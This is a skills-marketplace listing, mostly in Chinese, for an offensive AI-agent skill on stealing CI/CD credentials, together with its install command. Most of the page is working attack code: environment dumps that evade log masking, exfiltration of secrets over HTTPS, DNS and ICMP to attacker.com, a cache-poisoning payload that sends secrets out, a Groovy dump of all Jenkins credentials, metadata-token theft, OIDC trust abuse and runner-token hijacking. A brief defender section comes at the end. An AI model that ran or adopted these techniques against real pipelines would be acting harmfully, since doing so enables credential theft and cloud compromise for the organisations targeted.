mcpField
O
offensive-cicd-secrets

offensive-cicd-secrets

github.com/snailsploit安全9.7k130 次安装2 周前更新
代码仓库

关于 offensive-cicd-secrets

面向授权安全测试人员的 CI/CD 凭据提取技能指南,介绍多个平台中凭据的发现、验证与后续访问扩展。内容涵盖环境变量、密钥管理服务、OIDC 联邦、日志、缓存及平台凭据存储。

主要功能

  1. 01枚举环境变量中的凭据
  2. 02检查密钥管理服务配置
  3. 03评估 OIDC 联邦信任
  4. 04分析构建日志与缓存
  5. 05检查平台凭据存储和令牌

适用场景

  1. 01评估流水线凭据暴露路径
  2. 02检查云身份联邦信任配置
  3. 03排查日志和缓存中的凭据泄露
  4. 04确定已获取凭据的访问范围

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-cicd-secrets

安装后在 Claude Code 中输入/offensive-cicd-secrets确认已加载。

详细介绍

CI/CD 凭据窃取

CI/CD 环境中的秘密是攻陷流水线的首要目标。每条流水线都持有凭据——部署密钥、云服务提供商令牌、API 秘密、镜像仓库密码、数据库连接字符串——而保护这些凭据的机制始终比保护生产环境秘密的机制薄弱。你要利用 CI/CD 设计中的根本矛盾:流水线需要凭据来进行部署,但执行流水线的环境是临时的、共享的,而且任何能够发起拉取请求的人通常都可以访问这些环境。

本技能系统地涵盖了 CI/CD 平台中的所有提取路径,从简单的环境变量转储到复杂的 OIDC 联合滥用。你要枚举现有秘密,确定适用的提取技术,获取凭据,并利用这些凭据扩大访问范围。

MITRE ATT&CK:T1552(未保护的凭据)、T1552.001(文件中的凭据)、T1552.004(私钥)、T1552.007(容器 API)

快速工作流

  1. 在 CI/CD 流水线中获得代码执行能力(注入途径请参阅 offensive-cicd-pipeline 技能)。
  2. 枚举执行环境——平台、运行器类型、可用工具、网络访问权限。
  3. 转储所有环境变量,并筛选符合秘密特征的内容。
  4. 使用可用令牌(GITHUB_TOKEN、CI_JOB_TOKEN、PAT)查询平台专属凭据存储。
  5. 检查是否集成了保管库/秘密管理器,并测试配置是否错误。
  6. 检查构建日志、缓存和制品中是否泄露了凭据。
  7. 如果存在云服务提供商集成,则测试 OIDC 联合信任。
  8. 验证获取到的凭据并确定其权限范围。
  9. 利用获取到的秘密访问其他系统、镜像仓库和云资源。

环境变量提取

每个 CI/CD 平台都会将秘密注入为环境变量。在任何遭到入侵的流水线中,你的首要操作都是全面转储环境变量。平台会尝试在日志中屏蔽秘密值,但这种屏蔽很容易绕过。

直接提取
# Full environment dump -- works on all platforms
env | sort

# Base64 encode to bypass log masking
env | base64

# Reverse the string to defeat pattern-matching masks
env | rev

# Character-by-character extraction defeats even advanced masking
for var in $(env | grep -i -E 'key|secret|token|pass|cred|auth' | cut -d= -f1); do
    value=$(printenv "$var")
    echo -n "$var="
    echo "$value" | fold -w1 | paste -sd' '
done

# Hex encoding for binary-safe exfiltration
env | xxd -p | tr -d '\n'
针对性模式匹配
# Extract high-value variables by naming convention
env | grep -iE '^(AWS_|AZURE_|GCP_|GOOGLE_|GITHUB_|GITLAB_|DOCKER_|NPM_|ARTIFACTORY_|VAULT_|DATABASE_|DB_|REDIS_|MONGO_|POSTGRES_|MYSQL_|SSH_|PRIVATE_|API_KEY|SECRET|TOKEN|PASSWORD|CREDENTIAL|AUTH)' | sort

# Search for variables containing credential-shaped values
env | grep -E '=[A-Za-z0-9+/]{20,}={0,2}$'    # Base64-encoded values
env | grep -E '=ghp_[A-Za-z0-9]{36}'            # GitHub personal access tokens
env | grep -E '=ghs_[A-Za-z0-9]{36}'            # GitHub installation tokens
env | grep -E '=glpat-[A-Za-z0-9\-]{20}'        # GitLab personal access tokens
env | grep -E '=AKIA[A-Z0-9]{16}'               # AWS access key IDs
env | grep -E '=sk-[A-Za-z0-9]{20,}'            # Stripe/OpenAI-style keys

# Find secrets in process memory (if /proc is available)
strings /proc/self/environ 2>/dev/null
strings /proc/*/environ 2>/dev/null | sort -u | grep -iE 'secret|token|key|pass'
数据外传渠道
# HTTPS POST exfiltration (most reliable)
env | base64 | curl -sS -X POST -d @- https://attacker.com/collect

# DNS exfiltration for restricted networks
for secret in $(env | grep -i SECRET | base64 | fold -w 60); do
    nslookup "${secret}.exfil.attacker.com" 2>/dev/null
done

# ICMP exfiltration when HTTP is blocked
env | xxd -p | fold -w 32 | while read chunk; do
    ping -c 1 -p "$chunk" attacker.com 2>/dev/null
done

# Write to pipeline artifact for later retrieval
env | base64 > /tmp/build-metrics.dat
# Then upload as artifact through the platform's mechanism

保管库和秘密管理器配置错误

CI/CD 流水线经常会集成秘密管理器。你要利用流水线向这些系统进行身份验证并获取秘密时出现的配置错误。

HashiCorp Vault
# Check if Vault environment is configured
echo "VAULT_ADDR: $VAULT_ADDR"
echo "VAULT_TOKEN: $VAULT_TOKEN"
echo "VAULT_ROLE_ID: $VAULT_ROLE_ID"
echo "VAULT_SECRET_ID: $VAULT_SECRET_ID"

# If VAULT_TOKEN is present, enumerate accessible secrets
vault secrets list 2>/dev/null || \
  curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/sys/mounts" | jq '.data | keys'

# List and read KV secrets
vault kv list secret/ 2>/dev/null || \
  curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/secret/metadata?list=true" | jq '.'

# Attempt to read common secret paths
for path in secret/data/production secret/data/deploy secret/data/database secret/data/aws; do
    echo "--- $path ---"
    curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/$path" 2>/dev/null | jq '.data'
done

# If AppRole credentials are available, authenticate
curl -sS -X POST "$VAULT_ADDR/v1/auth/approle/login" \
  -d "{\"role_id\": \"$VAULT_ROLE_ID\", \"secret_id\": \"$VAULT_SECRET_ID\"}" | jq '.'

# Check token capabilities -- often over-permissioned for CI
curl -sS -X POST -H "X-Vault-Token: $VAULT_TOKEN" \
  "$VAULT_ADDR/v1/sys/capabilities-self" \
  -d '{"paths": ["secret/*", "aws/*", "database/*", "ssh/*"]}' | jq '.'
AWS Secrets Manager 和 Parameter Store
# Check for AWS credentials in the environment
echo "AWS_ACCESS_KEY_ID: $AWS_ACCESS_KEY_ID"
echo "AWS_SECRET_ACCESS_KEY: ${AWS_SECRET_ACCESS_KEY:0:8}..."
echo "AWS_SESSION_TOKEN present: $([ -n "$AWS_SESSION_TOKEN" ] && echo yes || echo no)"

# Check if running on EC2 with instance metadata
curl -sS -m 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null

# List all secrets in Secrets Manager
aws secretsmanager list-secrets --query 'SecretList[].{Name:Name,ARN:ARN}' --output table

# Extract secret values
aws secretsmanager list-secrets --query 'SecretList[].Name' --output text | tr '\t' '\n' | \
  while read name; do
    echo "=== $name ==="
    aws secretsmanager get-secret-value --secret-id "$name" --query 'SecretString' --output text 2>/dev/null
  done

# SSM Parameter Store -- often contains credentials with weak IAM boundaries
aws ssm describe-parameters --query 'Parameters[].{Name:Name,Type:Type}' --output table
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption \
  --query 'Parameters[].{Name:Name,Value:Value}' --output table 2>/dev/null
Azure Key Vault
# Check for Azure managed identity
curl -sS -m 2 -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" \
  2>/dev/null | jq '.access_token'

# List Key Vaults accessible to the current identity
az keyvault list --query '[].{name:name, uri:properties.vaultUri}' --output table

# Extract all secrets from a vault
VAULT_NAME="target-vault"
az keyvault secret list --vault-name "$VAULT_NAME" --query '[].{name:name, id:id}' --output table
az keyvault secret list --vault-name "$VAULT_NAME" --query '[].name' --output tsv | \
  while read name; do
    echo "=== $name ==="
    az keyvault secret show --vault-name "$VAULT_NAME" --name "$name" --query 'value' --output tsv
  done

# Extract certificates and keys
az keyvault certificate list --vault-name "$VAULT_NAME" --output table
az keyvault key list --vault-name "$VAULT_NAME" --output table
GCP Secret Manager
# Check for GCP credentials
echo "GOOGLE_APPLICATION_CREDENTIALS: $GOOGLE_APPLICATION_CREDENTIALS"
cat "$GOOGLE_APPLICATION_CREDENTIALS" 2>/dev/null | jq '.client_email, .project_id'

# Use metadata server for default credentials
curl -sS -H "Metadata-Flavor: Google" \
  "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token" | jq '.'

# List all secrets in the project
gcloud secrets list --format='table(name, replication.automatic)'

# Extract secret values
gcloud secrets list --format='value(name)' | while read name; do
    echo "=== $name ==="
    gcloud secrets versions access latest --secret="$name" 2>/dev/null
done

OIDC 联合攻击

OIDC 联合允许 CI/CD 流水线在不存储长期凭据的情况下向云服务提供商进行身份验证。你要利用联合配置中的信任配置错误,从未经授权的上下文中代入角色。

GitHub Actions OIDC
# GitHub Actions requests an OIDC token from the GitHub token endpoint
# The token contains claims about the workflow context
steps:
  - name: Extract OIDC token and examine claims
    run: |
      # Request the OIDC token
      OIDC_TOKEN=$(curl -sS -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
        "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r '.value')

      # Decode and examine the claims (header.payload.signature)
      echo "$OIDC_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq '.'

      # The claims include:
      # sub: repo:org/repo:ref:refs/heads/main
      # repository: org/repo
      # ref: refs/heads/main
      # If the AWS role trust policy is overly permissive (e.g., trusts any ref
      # or any repo in the org), you can assume it from a fork or feature branch

攻击场景——信任策略范围过宽:

{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {"Federated": "arn:aws:iam::ACCOUNT:oidc-provider/token.actions.githubusercontent.com"},
    "Action": "sts:AssumeRoleWithWebIdentity",
    "Condition": {
      "StringLike": {
        "token.actions.githubusercontent.com:sub": "repo:target-org/*"
      }
    }
  }]
}
# This trust policy accepts ANY repository in the org
# If you can create a repo in the org or find any repo with Actions write access,
# you can assume this role

# From your controlled workflow in any org repo:
aws sts assume-role-with-web-identity \
  --role-arn "arn:aws:iam::ACCOUNT:role/deploy-role" \
  --role-session-name "exploit" \
  --web-identity-token "$OIDC_TOKEN"
GitLab CI OIDC
# GitLab CI can also issue OIDC tokens
extract_oidc:
  script:
    - |
      # GitLab injects CI_JOB_JWT and CI_JOB_JWT_V2
      echo "$CI_JOB_JWT_V2" | cut -d. -f2 | base64 -d 2>/dev/null | jq '.'

      # Claims include namespace_path, project_path, ref, ref_protected
      # Misconfigured trust policies may not validate ref_protected or project_path

      # Assume AWS role using GitLab OIDC token
      aws sts assume-role-with-web-identity \
        --role-arn "arn:aws:iam::ACCOUNT:role/gitlab-deploy" \
        --role-session-name "gitlab-exploit" \
        --web-identity-token "$CI_JOB_JWT_V2"
  id_tokens:
    CUSTOM_TOKEN:
      aud: https://aws.amazon.com

构建日志和缓存利用

构建日志和缓存中经常会包含因脚本疏忽、详细输出模式或调试配置而泄露的凭据。

日志分析
# GitHub Actions: Retrieve workflow run logs via API
# Requires a token with actions:read scope
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
  -H "Accept: application/vnd.github+json" \
  "https://api.github.com/repos/OWNER/REPO/actions/runs" | \
  jq '.workflow_runs[:10] | .[].id' | while read run_id; do
    curl -sS -L -H "Authorization: token $GITHUB_TOKEN" \
      "https://api.github.com/repos/OWNER/REPO/actions/runs/$run_id/logs" \
      -o "run_${run_id}.zip"
    unzip -o "run_${run_id}.zip" -d "logs_${run_id}" 2>/dev/null
done

# Search extracted logs for leaked secrets
grep -rihE '(password|secret|token|key|credential)[\s]*[=:][\s]*\S+' logs_*/ 2>/dev/null
grep -rihE '(AKIA[A-Z0-9]{16}|ghp_[A-Za-z0-9]{36}|sk-[A-Za-z0-9]{20,})' logs_*/ 2>/dev/null
grep -rihE 'eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+' logs_*/ 2>/dev/null  # JWT tokens

# Jenkins: Build console output often contains unmasked secrets
curl -sS -u "user:$JENKINS_TOKEN" \
  "https://jenkins.target.com/job/JOB_NAME/lastBuild/consoleText" | \
  grep -iE 'password|secret|token|key'
利用缓存投毒进行数据外传
# GitHub Actions: Poison the build cache to exfiltrate secrets on next run
# First run: inject exfiltration script into cached dependencies
steps:
  - uses: actions/cache@v4
    with:
      path: ~/.npm
      key: npm-cache-${{ hashFiles('package-lock.json') }}

  - run: |
      # Inject into a cached module that executes during install
      mkdir -p ~/.npm/_preinstall
      cat > ~/.npm/_preinstall/exfil.sh << 'PAYLOAD'
      #!/bin/bash
      env | base64 | curl -sS -X POST -d @- https://attacker.com/cache-exfil &
      PAYLOAD
      chmod +x ~/.npm/_preinstall/exfil.sh
      # Modify a cached package's install script to trigger it

GitLab CI 共享缓存的工作方式类似——使用 cache: policy: push 将有效载荷注入 node_modules/,拉取同一缓存键的部署任务就会执行它。


平台专属凭据存储

每个 CI/CD 平台都有自己的凭据存储机制和相应的提取技术。

GitHub Actions 秘密
# GitHub Actions secrets are injected as environment variables
# They are masked in logs but accessible programmatically

# List all secrets available to the workflow (names only, via API)
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
  -H "Accept: application/vnd.github+json" \
  "https://api.github.com/repos/$GITHUB_REPOSITORY/actions/secrets" | jq '.secrets[].name'

# Organization-level secrets
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
  "https://api.github.com/orgs/$ORG/actions/secrets" | jq '.secrets[].name'

# Repository environment secrets
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
  "https://api.github.com/repos/$GITHUB_REPOSITORY/environments" | \
  jq '.environments[].name' | while read env_name; do
    echo "=== Environment: $env_name ==="
    curl -sS -H "Authorization: token $GITHUB_TOKEN" \
      "https://api.github.com/repos/$GITHUB_REPOSITORY/environments/${env_name}/secrets" | jq '.'
done

# Values require code execution in the pipeline context -- use env dump techniques above
Jenkins 凭据存储
// Groovy script to extract all Jenkins credentials
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.Credentials
import com.cloudbees.plugins.credentials.domains.Domain
import jenkins.model.Jenkins

def store = Jenkins.instance.getExtensionList(
    'com.cloudbees.plugins.credentials.SystemCredentialsProvider'
)[0].getStore()

store.getDomains().each { domain ->
    store.getCredentials(domain).each { cred ->
        println "=== ${cred.id} (${cred.class.simpleName}) ==="
        if (cred.respondsTo('getUsername')) println "Username: ${cred.username}"
        if (cred.respondsTo('getPassword')) println "Password: ${cred.password}"
        if (cred.respondsTo('getSecret')) println "Secret: ${cred.secret}"
        if (cred.respondsTo('getPrivateKey')) println "Private Key: ${cred.privateKey}"
        if (cred.respondsTo('getToken')) println "Token: ${cred.token}"
        println "---"
    }
}

要离线解密 credentials.xml,你需要 Jenkins 主目录中的 secrets/master.key 和 secrets/hudson.util.Secret。对主密钥进行 SHA-256 哈希处理,使用前 16 个字节通过 AES-ECB 解密 hudson 秘密,然后将其作为 AES-128-CBC 密钥(IV 为加密数据块的第 1 至第 17 个字节)来解密单个凭据条目。

GitLab CI 变量
# Extract variables using CI_JOB_TOKEN (limited scope)
curl -sS --header "JOB-TOKEN: $CI_JOB_TOKEN" \
  "https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" | jq '.'

# With a personal access token or impersonation token (broader scope)
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
  "https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" | \
  jq '.[] | {key, value, protected, masked, environment_scope}'

# Group variables (inherited by all projects in the group)
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
  "https://gitlab.target.com/api/v4/groups/$GROUP_ID/variables" | \
  jq '.[] | {key, value, protected}'

# Instance variables (requires admin access)
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
  "https://gitlab.target.com/api/v4/admin/ci/variables" | jq '.'

# File-type variables are written to disk -- find them
find /builds -name "*.env" -o -name "*.key" -o -name "*.pem" -o -name "*.json" 2>/dev/null | \
  while read f; do echo "=== $f ==="; cat "$f"; done

Docker Registry 凭据窃取

构建并推送容器镜像的 CI/CD 流水线会存储 Docker Registry 凭据。你可以从运行器文件系统、环境变量或 Docker 凭据助手链中提取这些凭据。

# Check Docker configuration for stored credentials
cat ~/.docker/config.json 2>/dev/null | jq '.'
# Look for credHelpers, credStore, and direct auths entries

# Extract from Docker credential helpers
docker-credential-gcr list 2>/dev/null
docker-credential-ecr-login list 2>/dev/null
docker-credential-desktop list 2>/dev/null

# For each credential helper, get the stored credentials
for helper in gcr ecr-login desktop secretservice pass; do
    echo "=== docker-credential-$helper ==="
    echo "" | docker-credential-$helper list 2>/dev/null | \
      jq -r 'keys[]' 2>/dev/null | while read registry; do
        echo "$registry" | docker-credential-$helper get 2>/dev/null | jq '.'
    done
done

# Check for registry tokens in environment
env | grep -iE '(DOCKER_|REGISTRY_|CR_|ACR_|ECR_|GCR_|GHCR_)' | sort

# GitHub Container Registry token -- GITHUB_TOKEN often has packages:write
echo "$GITHUB_TOKEN" | docker login ghcr.io -u USERNAME --password-stdin

# AWS ECR -- extract temporary credentials
aws ecr get-login-password --region us-east-1

# GCP Artifact Registry
gcloud auth print-access-token

服务连接和运行器令牌

云服务连接和运行器令牌提供了从 CI/CD 直接横向移动到基础设施的路径。

# Azure DevOps service connections -- credentials injected as env vars
echo "ARM_CLIENT_ID: $ARM_CLIENT_ID"
echo "ARM_CLIENT_SECRET: ${ARM_CLIENT_SECRET:0:8}..."
az login --service-principal -u "$ARM_CLIENT_ID" -p "$ARM_CLIENT_SECRET" -t "$ARM_TENANT_ID"
az role assignment list --assignee "$ARM_CLIENT_ID" --output table

# GCP service account keys on runners
find / -name "*.json" -exec grep -l "private_key_id" {} \; 2>/dev/null
gcloud auth print-access-token --impersonate-service-account=TARGET@PROJECT.iam.gserviceaccount.com

# AWS cross-account role assumption
aws sts get-caller-identity

运行器令牌可用于拦截任务和注册恶意运行器:

# GitHub Actions self-hosted runner credentials
cat /home/runner/.runner 2>/dev/null | jq '.'
cat /home/runner/.credentials 2>/dev/null
find / -path "*actions-runner*" -name ".runner" 2>/dev/null

# GitLab runner token extraction
grep -E '(token|url)' /etc/gitlab-runner/config.toml 2>/dev/null

# Claim jobs with a stolen GitLab runner token
curl -sS --request POST "https://gitlab.target.com/api/v4/jobs/request" \
  --form "token=RUNNER_TOKEN" --form "info[name]=rogue-runner"

# Jenkins agent secret files
find / -name "secret.key" -path "*/jenkins/*" 2>/dev/null

检测 / 防御者视角

防御者应实施以下控制措施,并监控这些指标:

  • 环境变量访问模式:当流水线步骤在预期的调试场景之外执行 env、printenv 或访问 /proc/self/environ 时发出警报。
  • 出站数据外泄:监控运行器网络流量,查找向未知主机发送的 POST 请求和异常的 DNS 查询模式。
  • 机密访问审计:启用保管库/机密管理器访问日志。针对批量枚举机密,或来自意外 IP 范围的访问发出警报。
  • OIDC 令牌声明验证:确保云服务提供商的信任策略验证特定声明(存储库、分支、环境),而非采用宽泛的组织级信任。
  • 日志清理:使用 truffleHog 或 detect-secrets 在存储前扫描构建日志中的凭据模式。
  • 缓存完整性:实施缓存签名或校验和,以检测投毒。
  • 运行器文件系统卫生:使用临时运行器。对持久运行器,在各任务之间清理文件系统。
  • 令牌轮换:定期轮换运行器注册令牌。监控意外的运行器注册。
  • 最小化凭据权限范围:对所有 CI/CD 凭据应用最小权限原则。使用短期令牌。分离读写凭据。

关键防御控制:优先使用声明约束严格的 OIDC,而非长期凭据;为所有机密平台启用审计日志;使用临时的、基于容器的运行器;通过环境保护规则限制机密访问;为构建环境实施网络分段。


攻防速查表

向量平台所需访问权限影响
环境变量转储全部流水线执行所有注入的机密
绕过日志掩码全部流水线执行日志中的机密值
重用保管库令牌全部 + Vault流水线执行访问 Vault 机密
AWS 元数据/凭据AWS 运行器流水线执行AWS 账户访问
Azure 托管标识Azure 运行器流水线执行Azure 订阅
GCP 元数据/SA 密钥GCP 运行器流水线执行GCP 项目访问
滥用 OIDC 联合身份验证GitHub/GitLab受信组织中的工作流假定云角色
构建日志分析全部日志读取权限泄露的凭据
缓存投毒GitHub/GitLab缓存写入权限凭据外泄
Jenkins 凭据转储Jenkins脚本控制台访问所有存储的凭据
提取 GitLab 变量GitLabAPI 令牌项目/群组机密
窃取 Docker 配置全部运行器文件系统Registry 凭据
捕获运行器令牌GitHub/GitLab运行器文件系统任务拦截
窃取服务连接Azure DevOps流水线执行云基础设施访问
SSM Parameter StoreAWS流水线执行已存储的参数
提取 Key VaultAzure流水线执行保管库机密/密钥

关键参考资料

评论

支持 Markdown